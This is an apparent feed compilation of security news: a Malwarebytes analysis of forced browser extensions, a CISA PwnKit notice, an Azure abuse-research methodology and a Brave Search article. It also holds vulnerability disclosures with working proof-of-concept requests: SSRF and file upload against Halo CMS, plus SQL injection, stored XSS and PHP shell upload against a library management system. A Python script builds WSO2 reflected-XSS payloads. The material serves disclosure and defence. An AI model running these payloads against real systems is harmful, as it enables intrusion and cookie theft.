Malwarebytes found a family of forced Chrome extensions that can't be removed because of a policy change that tells users "Your browser is managed".
The post Forced Chrome extensions get removed, keep reappearing appeared first on Malwarebytes Labs.

In the continued saga of annoying search extensions we have a new end-of-level boss.

Victims have been reporting browser extensions that were removed by Malwarebytes, but “magically” came back later. Since the victims also complained about the message saying their browser was “managed”, we had a pretty good idea where to look.

_custom search bar_ is _one of the forced extensions_

**Search extensions**

The culprits turned out to be search extensions. Which is often the case when we spot potentially unwanted programs (PUPs) that use malware tactics to get installed and gain persistence.

The search hijackers “active search bar” and “custom search bar” were both available in the Chrome web store at the time of writing even though we reported them days ago.

_active search bar is also available in the webstore_

**PowerShell**

It took some digging to find the origin, since all we had were the extensions. And when the extensions were installed directly from the webstore, nothing happened out of the ordinary. However, some hunting on VirusTotal soon led me to a few recently uploaded PowerShell scripts that included the string “ExtensionInstallForcelist.” I looked for that string because we know from the past that these registry policies account for the “Your browser is managed” warnings.

$CPath = "HKLM:\SOFTWARE\\Policies\\Google\\Chrome\ExtensionInstallForcelist";

$EPath = "HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist";

The description in the Chromium documentation about the ExtensionInstallForcelist states:

> “Specifies a list of apps and extensions that are installed silently, without user interaction, and which cannot be uninstalled nor disabled by the user.”

And to confirm this finding, the victims that provided logs all had one of these PowerShell script listed in their Scheduled Tasks.

_The Scheduled Task triggers the PowerShell script_

The Scheduled Task was set to run every four hours, which explained why the extensions kept coming back.

**Installer**

But Scheduled Tasks don’t install themselves either and dropping PowerShell scripts in the System32 folder requires Administrator privileges, so we needed to dig a little further to find an installer.

The domain wincloudservice.com was used as a download location in all the PowerShell scripts so we used that domain as a search parameter in our next stage of VirusTotal hunting. This search eventually returned three installers. What they had in common at first glance was that the filenames all ended with “\_x64LTS.exe” and that they were all signed by “Tommy Tech LTD.”

Upon further inspection we noticed that the installers all asked for Administrator privileges twice. The first part installs something that is called “Setup” and the second part installs an application that aligns with the name of the installer. So, it appears that the original installer files were “patched” to add the installer for our browser hijacker. It stands to reason that these installers are offered for download somewhere by the threat actors.

The EULA points to tommytechil.com which is unreachable. I was unable to find an installer that actually dropped an extension in Edge, but the “Your browser is managed by your organization” setting does get enforced.

_Edge managed by your organization_

**Javascripts**

Malwarebytes customers were protected against these extensions as Malwarebytes’ web protection module blocked the domain wincloudservice\[.\]com. On inspection, this domain hosted several javascripts including heavily obfuscated files called crypto.js and crypto-js.min.js.

**Detection and removal**

Malwarebytes detects these browser hijackers as PUP.Optional.ActiveSearchBar and PUP.Optional.CustomSearchBar. Included in the removal procedure are the extension, and the Scheduled Task, which is enough to permanently get rid of the extension.

Some Windows registry changes have been made that will take a system administrator to decide what they want to keep or not.

The registry keys to remove the “Your browser is managed” are:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForceList

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForceList

And another change made by the installer was the registry value:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell\\\\ExecutionPolicy

The installer set that to “Unrestricted” which may not be your favorite setting. If you are not sure or you have never actively set that policy, the default is “Restricted”. Please note that in some organizations PowerShell is required to run.

**IOCs**

**Domains:**

activesearchbar\[.\]me

customsearchbar\[.\]me

optimizerupdate\[.\]com

securedatacorner\[.\]com

wincloudservice\[.\]com

**Installers:**

4kvideodownloader\_5.22.371\_x64LTS.exe

AutoClicker\_x64LTS.exe

FPSUnlocker\_4.1\_x64LTS.exe

**PowerShell scripts:**

PrintWorkflowService.ps1

WindowsUpdater1.ps1

OptimizerWindows.ps1

**Extensions:**

custom search bar nniikbbaboifhfjjkjekiamnfpkdieng

active search bar pkofdnfadkamabkgjdjcddeopopbdjhg

Forced Chrome extensions get removed, keep reappearing

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) this week moved to add a Linux vulnerability dubbed PwnKit to its Known Exploited Vulnerabilities Catalog, citing evidence of active exploitation.
The issue, tracked as CVE-2021-4034 (CVSS score: 7.8), came to light in January 2022 and concerns a case of local privilege escalation in polkit's pkexec utility, which allows an

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) this week moved to add a Linux vulnerability dubbed **PwnKit** to its Known Exploited Vulnerabilities Catalog, citing evidence of active exploitation.

The issue, tracked as CVE-2021-4034 (CVSS score: 7.8), came to light in January 2022 and concerns a case of local privilege escalation in polkit's pkexec utility, which allows an authorized user to execute commands as another user.

Polkit (formerly called PolicyKit) is a toolkit for controlling system-wide privileges in Unix-like operating systems, and provides a mechanism for non-privileged processes to communicate with privileged processes.

Successful exploitation of the flaw could induce pkexec to execute arbitrary code, granting an unprivileged attacker administrative rights on the target machine and compromising the host.

It's not immediately clear how the vulnerability is being weaponized in the wild, nor is there any information on the identity of the threat actor that may be exploiting it.

Also included in the catalog is CVE-2021-30533, a security shortcoming in Chromium-based web browsers that was leveraged by a malvertising threat actor dubbed Yosec to deliver dangerous payloads last year.

Furthermore, the agency added the newly disclosed Mitel VoIP zero-day (CVE-2022-29499) as well as five Apple iOS vulnerabilities (CVE-2018-4344, CVE-2019-8605, CVE-2020-9907, CVE-2020-3837, and CVE-2021-30983) that were recently uncovered as having been abused by Italian spyware vendor RCS Lab.

To mitigate any potential risk of exposure to cyberattacks, it's recommended that organizations prioritize timely remediation of the issues. Federal Civilian Executive Branch Agencies, however, are required to mandatorily patch the flaw by July 18, 2022.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

CISA Warns of Active Exploitation of 'PwnKit' Linux Vulnerability in the Wild

Abuse primitives have a longer shelf life than bugs and zero-days and are cheaper to maintain. They're also much harder for defenders to detect and block.

Microsoft's cloud services revenue grew 46% in the first quarter of 2022, and its cloud market share has increased by almost 9% since 2017. With Azure finally being used in earnest by the mainstream, now is the ideal time to get involved in Azure abuse research. There are many undiscovered abuse primitives out there, a lot of misconfiguration debt built up, and growing numbers of adversaries starting to target Azure more seriously.

Why spend time looking for abuse primitives rather than bugs or software exploits? Abuses have a much longer shelf life than bugs and zero-days, and they're cheaper to maintain. More importantly for attackers, they exist in nearly all implementations of the software in question and are much harder for defenders to detect and block. That's why it's vital for researchers to uncover new abuse options so they can be fixed or mitigated.

Here's my five-step process for researching a specific system within Azure and trying to find new attack primitives. Following this approach will help you save time, stay on track, and produce better results.

**Step One: Begin With the End in Mind**

First, you'll need to gain an understanding of how your system of choice works, how it interacts with other systems in Azure, and how it can be abused. Beyond that, think about what your final product will be — a blog post? A conference session? Defensive remediation guidelines or updates to an open source tool? Determine what's needed to create these assets. Consider producing audit code as well, so defenders can check for these dangerous configurations, and abuse code, too, so others can easily verify how these configurations can be abused. These are the "success criteria" for your research that will help you maintain focus, avoid unnecessary rabbit holes, and ensure a valuable end result.

**Step Two: Study the Intent and Design of the System**

Once you know exactly what you need to discover, begin research just like anyone else would — doing Google searches and reading official documentation. Look for anything that seems abusable (like the ability to reset passwords and permissions required), dig further into those, and take notes as you go.

Use LinkedIn to identify any product architects or other Microsoft staff involved in creating the subject of your study. Review their LinkedIn and Twitter feeds and look for the resources they've authored or reposted (blog posts, conference presentations, etc.). Delve into community resources like forums or GitHub repositories associated with this service, as these user groups are generally much more open in their discourse around problems and weaknesses than the Microsoft folks. Keep taking notes on the system. Once you can speak intelligently about the architecture and intent of the system and write a highly accurate, nontechnical brief about it, you're ready to move on.

**Step Three: Explore the System**

Documentation can only take you so far — it doesn't keep up with changes in Azure and there are almost always hidden connections that go undocumented. It's tempting to jump straight into this step, but without the context on the system that you built through research, you'll probably waste a lot of time.

Start exploring the system with the easiest interface — often this is the Azure portal GUI. If you bring up the Developer tools in the Chrome browser, you can see all the API requests that the browser is making. Copy them to PowerShell and you'll have a good start to building your own client. Use the official CLI tools in Azure (az binary, the Az PowerShell module, and Azure AD PowerShell module).  

When you’ve explored enough that you can build your own basic client to interact with the system, it’s time to proceed. This provides a foundation for a more mature client, and for automating the process of testing abuse capabilities.

**Step Four: Catalog Abuse Capabilities**

Now you can use your client to enumerate all the permissions that that system can assign, and test the abuse primitives you already know about against each of those permissions (e.g., can you promote yourself to global admin or change a global admin’s password?). Keep an eye out for other abuse primitives that might present themselves during your research — and test them as well to reveal any discrepancies between what the official documentation says and how things work in reality.

Realistically, you’ll need to automate this process. When I went through this research methodology examining the Azure Graph API, I had a list of about 175 permissions and a dozen abuse primitives to test against each of them … you do the math.

**Step Five: Share Findings**

The final step is to help others learn from your work. Write a blog post, do a talk and/or share your code. The point is to help others save time and expand or add on to your work. Think of it as writing the blog post you needed at the start of your research.

To learn more, watch a talk I gave on this topic (and access the accompanying deck). Inspired to start researching Azure abuses? Here are some useful websites to find technical content around Azure security: The Lazy Administrator, Good Workaround!, AZAdvertizer, Thomas Van Laere, and Microsoft Portals.

How to Find New Attack Primitives in Microsoft Azure

Halo CMS v1.5.3 was discovered to contain a Server-Side Request Forgery (SSRF) via the template remote download function.

https://github.com/halo-dev/halo/

There is an ssrf vulnerability in the template remote download function in halo cms v1.5.3. The attacker needs to enter a link that ends with a zip , such as http://127.0.0.1:40001/1.zip

**Proof of Concept**

    POST /api/admin/themes/fetching?uri=http://127.0.0.1:40000/1.zip HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Length: 2
    Admin-Authorization: 244a0b5340d943ffb8be55bbf3c0db2f
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Content-Type: application/json
    Origin: http://127.0.0.1:8090
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:8090/admin/index.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=node08slatpind75xksvtriiymt214.node0
    Connection: close
    
    {
    

  

permalink: ZipThemeFetcher.java#L43  
The destination address is not limited in the code, so it can cause ssrf vulnerability

CVE-2022-32995: There is an ssrf vulnerability in the template remote download function in halo cms v1.5.3 in halo-dev/halo · Issue #2 · zongdeiqianxing/cve-reports

Halo CMS v1.5.3 was discovered to contain an arbitrary file upload vulnerability via the component /api/admin/attachments/upload.

https://github.com/halo-dev/halo/

Halo cms v1.5.3 has an arbitrary format file upload vulnerability at /api/admin/attachments/upload. Attackers can upload files in formats such as jsp、html etc.

**Proof of Concept**

    POST /api/admin/attachments/upload HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Length: 219
    Admin-Authorization: 244a0b5340d943ffb8be55bbf3c0db2f
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFxTUuVBMVJqfHQHX
    Origin: http://127.0.0.1:8090
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:8090/admin/index.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=node04b75v93fl79m6b5ujcpwcvp82.node0
    Connection: close
    
    ------WebKitFormBoundaryFxTUuVBMVJqfHQHX
    Content-Disposition: form-data; name="file"; filename="2.jsp"
    Content-Type: application/octet-stream
    
    1<script>alert(1)</script>
    ------WebKitFormBoundaryFxTUuVBMVJqfHQHX--
    

  

permalink: AttachmentServiceImpl.java L110  
Security is not checked in the relevant code

CVE-2022-32994: Halo cms v1.5.3 has an arbitrary format file upload vulnerability at /api/admin/attachments/upload · Issue #1 · zongdeiqianxing/cve-reports

Brave Search, the privacy search engine you may not have heard of, is a year old and growing fast. 
The post Brave Search wants to replace Google’s biased search results with yours appeared first on Malwarebytes Labs.

Brave Search, Brave Software’s privacy search engine, just turned one. To celebrate, the company says it is moving the search engine out of its beta phase to become the default search engine for all Brave browser users.

**Goodbye, Google? Not entirely.**

In May 2015, Mozilla alumni Brendan Eich and Brian Bondy launched Brave Software. Its first product was the Brave Browser, a privacy-friendly, Chromium-based internet browser that automatically blocks ads and site trackers. In March 2021, the company launched Brave Search so it could use its own index to generate search results.

In a recent announcement, the company said its search engine had passed 2.5 billion queries since its release a year earlier. That was a staggering increase in a year, from 8.1 million search queries to 411.7M by May 2022. However, as impressive as that is, Brave Search (and the other privacy search engine, DuckDuckGo) are still lightyears away from challenging Google’s hegemony. While Google enjoys a 92% market share, Brave has yet to break out of the search engine ranking’s miniscule “other” category.

Besides a loyal following, one reason for Brave Search’s fast growth is likely that it (mostly) avoids using third-party search indexes, such as Google and Bing. According to Brave’s blog, 92 percent of queries users receive are directly from Brave’s search index. The company admitted, however, that they will be pulling search results from other providers—Google in particular—if their index doesn’t have enough data of its own.

> Search engines that depend too much, or exclusively, on Big Tech are subject to their censorship, biases, and editorial decisions. The Web needs multiple search providers—without choice there’s no freedom.
> 
> Brave’s blog

Brave Search is currently ad-free, but the company has plans to work on an ad-supported version of Search. This will involve Brave Ads, Brave’s adtech platform. Users who click these ads are rewarded 70 percent of the ad revenue.

While Brave is quick to claim that its query algorithms are unbiased, The Verge pointed out that all algorithms have inherent biases. But Goggles, a new feature, may help to mitigate this.

**Going gaga over Goggles**

Brave also announced a new Brave Search results curation feature called “Goggles,” which interested users can start testing out right now. The company has already prepared some demos to try.

“Goggles will enable anyone, or any community of people, to create sets of rules and filters to constrain the searchable space and / or alter the ordering of search results,” the browser company explains. “Essentially, Goggles will act as a re-ranking option on top of the Brave Search index.”

Sample of Brave Search query results using Goggle

The search team released a white paper on Goggles, detailing its features and showcasing how these work using examples. In a nutshell, Brave is giving its users access to information filtered by their own explicit biases. This means that users’ preferences take precedence over Brave’s preferences.

Brave presented benefits for both the average user and content creator:

“The benefit for the users is that they would be empowered to explore multiple realities in a straight-forward way. The point is to offer people the freedom to choose their own biases while being conscious of them.”

“The benefit for the content creators is that they have multiple options to expose their content, by increasing their potential audience, which will reduce the need to optimize for the single set of biases implicitly encoded in the search engine’s ranking.”

The only downside to Goggles, so far, is that it’s not as easy to use as you might think. You can’t simply enter keywords or personalize preset filters. There is some coding involved, which might put off users without coding experience.

In addition to Goggles, Brave also released Discussions in April. This is a way to augment Brave Search results with actual conversations pulled from popular sites, all related to the search query.

Brave Search wants to replace Google’s biased search results with yours

Library Management System with QR Code version 1.0 suffers from a remote SQL injection vulnerability.

    #### Title: Library Management System with QR code Attendance 1.0 SQLInjection#### Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)#### Date: 27.06.2022#### Vendor: https://www.sourcecodester.com/users/kingbhob02#### Software:https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html#### Version: 1.0#### Reference:https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/Sql%20Injection/POC.md#### Description：##### The reason for the SQL injection vulnerability is that the websiteapplication does not verify the validity of the data submitted by the userto the server (type, length, business parameter validity, etc.), and doesnot effectively filter the data input by the user with special characters ,so that the user's input is directly brought into the database forexecution, which exceeds the expected result of the original design of theSQL statement, resulting in a SQL injection vulnerability.LibraryManagement System with QR code Attendance does not filter the contentcorrectly at the "bookdetails.php" id parameter, resulting in thegeneration of SQL injection.#### Payload used:`' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB`#### POC1.  Login into the CMS.Admin Default Access:Username: adminPassword: admin2. http://localhost/LMS/librarian/bookdetails.php?id=1913. Put sleep(5) payload (`' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)--PbtB`)4. `http://localhost:80/LMS/librarian/bookdetails.php?id=' AND (SELECT 9198FROM (SELECT(SLEEP(5)))iqZA)-- PbtB`5. code```GET/LMS/librarian/bookdetails.php?id=%27%20AND%20(SELECT%209198%20FROM%20(SELECT(SLEEP(5)))iqZA)--%20PbtBHTTP/1.1Host: localhostsec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pcoConnection: close```

Library Management System With QR Code 1.0 SQL Injection

Library Management System with QR Code version 1.0 suffers from a persistent cross site scripting vulnerability.

    #### Title: Library Management System with QR code Attendance 1.0 StoredCross-Site Scripting#### Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)#### Date: 27.06.2022#### Vendor: https://www.sourcecodester.com/users/kingbhob02#### Software:https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html#### Version: 1.0#### Reference:https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/Cross%20Site%20Scripting(Stored)/POC.md#### Description：#### Library Management System with QR code Attendance is vulnerable toStored cross-site scripting on the profile edit page. The "Name" parameterin 'http://localhost/LMS/admin/edit_admin_details.php' is vulnerable.#### Impact: An attacker could steal cookies with a crafted URL sent to the victims.### POC```POST /LMS/admin/edit_admin_details.php?id=admin HTTP/1.1Host: localhostContent-Length: 115Cache-Control: max-age=0sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/LMS/admin/edit_admin_details.phpAccept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pcoConnection: closeName=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&EmailId=admin%40gmail.com&MobNo=0&Password=admin&submit=```

Library Management System With QR Code 1.0 Cross Site Scripting

Library Management System with QR Code version 1.0 suffers from a remote shell upload vulnerability.

    #### Title: Library Management System with QR code Attendance_File UploadRCE#### Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)#### Date: 27.06.2022#### Vendor: https://www.sourcecodester.com/users/kingbhob02#### Software:https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html#### Version: 1.0#### Reference:https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/File_Upload/POC.md#### Description：#### At the file upload function, the application system checks thevalidity of the file type, format, and content uploaded by the user, sothat attackers can upload Webshell (.php, .jsp, asp, etc.) malicious scriptfiles or files in unexpected formats, such as: HTML files, SHTML files,etc., at the same time, you can use characters such as directory jump orcontrol the upload directory to directly upload files to the Web directoryor any directory, which may lead to the execution of arbitrary maliciousscript files on the remote server, thereby directly obtaining applicationsystem permissions.#### $uploaddir = 'assets/uploads/';#### $uploadfile = $uploaddir . basename($_FILES['image']['name']);#### Payload used:`<?php phpinfo();?>`### POC```POST /LMS/card/index.php HTTP/1.1Host: localhostContent-Length: 1056Cache-Control: max-age=0sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryngJP5BxPA6UsA91OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/LMS/card/index.phpAccept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pcoConnection: close------WebKitFormBoundaryngJP5BxPA6UsA91OContent-Disposition: form-data; name="name"File_Upload------WebKitFormBoundaryngJP5BxPA6UsA91OContent-Disposition: form-data; name="grade"Computer Studies------WebKitFormBoundaryngJP5BxPA6UsA91OContent-Disposition: form-data; name="dob"Student------WebKitFormBoundaryngJP5BxPA6UsA91OContent-Disposition: form-data; name="address"Testing Testing------WebKitFormBoundaryngJP5BxPA6UsA91OContent-Disposition: form-data; name="email"ashish@cyberthoth.in------WebKitFormBoundaryngJP5BxPA6UsA91OContent-Disposition: form-data; name="exp_date"1990-02-11------WebKitFormBoundaryngJP5BxPA6UsA91OContent-Disposition: form-data; name="id_no"8529637------WebKitFormBoundaryngJP5BxPA6UsA91OContent-Disposition: form-data; name="phone"1212121212------WebKitFormBoundaryngJP5BxPA6UsA91OContent-Disposition: form-data; name="image"; filename="File_upload.php"Content-Type: application/octet-stream<?php phpinfo();?>------WebKitFormBoundaryngJP5BxPA6UsA91O--```#### Access below URL:`http://localhost/LMS/card/assets/uploads/File_upload.php`![image](https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/File_Upload/POC.png)

Library Management System With QR Code 1.0 Shell Upload

WSO2 Management Console suffers from a cross site scripting vulnerability. Many different product versions are affected.

    # Exploit Title: WSO2 Management Console (Multiple Products) - Unauthenticated Reflected Cross-Site Scripting (XSS)# Date: 21 Apr 2022# Exploit Author: cxosmo# Vendor Homepage: https://wso2.com# Software Link: API Manager (https://wso2.com/api-manager/), Identity Server (https://wso2.com/identity-server/), Enterprise Integrator (https://wso2.com/integration/) # Affected Version(s): API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0 and 4.0.0;     # API Manager Analytics 2.2.0, 2.5.0, and 2.6.0;    # API Microgateway 2.2.0;    # Data Analytics Server 3.2.0;    # Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0, and 6.6.0;    # IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0, and 5.10.0;    # Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0, and 5.11.0;    # Identity Server Analytics 5.5.0 and 5.6.0;    # WSO2 Micro Integrator 1.0.0.# Tested on: API Manager 4.0.0 (OS: Ubuntu 21.04; Browser: Chromium Version 99.0.4844.82)# CVE: CVE-2022-29548import argparseimport loggingimport urllib.parse# Global variablesVULNERABLE_ENDPOINT = "/carbon/admin/login.jsp?loginStatus=false&errorCode="DEFAULT_PAYLOAD = "alert(document.domain)"# Logging configlogging.basicConfig(level=logging.INFO, format="")log = logging.getLogger()def generate_payload(url, custom_payload=False):    log.info(f"Generating payload for {url}...")    if custom_payload:        log.info(f"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{custom_payload}//")    else:        log.info(f"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{DEFAULT_PAYLOAD}//")def clean_url_input(url):    if url.count("/") > 2:        return f"{url.split('/')[0]}//{url.split('/')[2]}"    else:        return urldef check_payload(payload):    encoded_characters = ['"', '<', '>']    if any(character in payload for character in encoded_characters):        log.info(f"Unsupported character(s) (\", <, >) found in payload.")        return False    else:        return urllib.parse.quote(payload)if __name__ == "__main__":    # Parse command line    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)    required_arguments = parser.add_argument_group('required arguments')    required_arguments.add_argument("-t", "--target",                        help="Target address {protocol://host} of vulnerable WSO2 application (e.g. https://localhost:9443)",                        required="True", action="store")    parser.add_argument("-p", "--payload",                        help="Use custom JavaScript for generated payload (Some characters (\"<>) are HTML-entity encoded and therefore are unsupported). (Defaults to alert(document.domain))",                        action="store", default=False)    args = parser.parse_args()    # Clean user target input    args.target = clean_url_input(args.target.lower())    # Check for unsupported characters in custom payload; URL-encode as required    if args.payload:        args.payload = check_payload(args.payload)        if args.payload:            generate_payload(args.target, args.payload)    else:        generate_payload(args.target)

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